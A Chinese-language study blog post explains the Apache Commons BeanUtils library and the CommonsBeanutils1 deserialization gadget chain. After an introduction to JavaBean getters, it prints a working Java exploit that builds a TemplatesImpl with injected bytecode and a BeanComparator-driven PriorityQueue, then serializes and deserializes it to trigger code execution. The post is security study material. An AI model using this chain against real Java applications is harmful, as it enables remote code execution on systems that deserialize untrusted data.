java--CommonsBeanutils1 学习

commons-beanutils 是 Apache 提供的一个用于操作 JAVA bean 的工具包。里面提供了各种各样的工具类,让我们可以很方便的对 bean 对象的属性进行各种操作。

先学习一下java bean,在fastjson中有利用

1、所有属性为private
2、提供默认构造方法
3、提供getter和setter
4、实现serializable接口

我们通常把一组对应的读方法(getter)和写方法(setter)称为属性(property)。例如,name属性:

  • 对应的读方法是String getName()

  • 对应的写方法是setName(String)

只有getter的属性称为只读属性(read-only),例如,定义一个age只读属性:

  • 对应的读方法是int getAge()

  • 无对应的写方法setAge(int)

举个简单的例子:

首先新建一个Cat.java

final public class Cat {
    private String name = "catalina";

    public String getName() {
        System.out.println("this is the Get Method");
        return name;
    }

    public void setName(String name) {
        System.out.println("this is the Set Method");
        this.name = name;
    }
}

test2.java

import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.InvocationTargetException;

public class test2 {
    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
        System.out.println(PropertyUtils.getProperty(new Cat(), "name"));
    }
}

 发现会调用对应的getName方法。


BeanComparator

BeanComparator 是 commons-beanutils 提供的用来比较两个 JavaBean 是否相等的类,其实现了java.util.Comparator 接口。

BeanComparator 在初始化时可以指定 property 属性名称和 comparator 对比器,如果不指定,则默认是 ComparableComparator 。

我们跟进看一下,发现这里会使用PropertyUtils的getProperty方法

然后跟进并查看这个方法,PropertyUtils.getProperty(Object bean, String name) 函数这个方法是获取bean中名为name的属性。在获取name属性的过程中会调用getXXX的方法,这种调用特性给构造利用链提供了新的思路。

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;


import java.io.*;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.util.PriorityQueue;


public class beansutil {
    public static void main(String[] args) throws Exception {
        FileInputStream inputFromFile = new FileInputStream("/Users/zyer/Downloads/untitled/out/production/untitled/Exp2.class");
        byte[] bs = new byte[inputFromFile.available()];
        inputFromFile.read(bs);
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{bs});
        setFieldValue(obj, "_name", "zyer");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator("lowestSetBit");

        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,comparator);
        queue.add(new BigInteger("1"));
        queue.add(new BigInteger("1"));
        setFieldValue(comparator, "property", "outputProperties");
        
        Field field = PriorityQueue.class.getDeclaredField("queue");
        field.setAccessible(true);
        Object[] objects = (Object[]) field.get(queue);
        objects[0] = obj;
        objects[1] = obj;

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
        objectOutputStream.writeObject(queue);
        objectOutputStream.close();
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
        objectInputStream.readObject();


    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值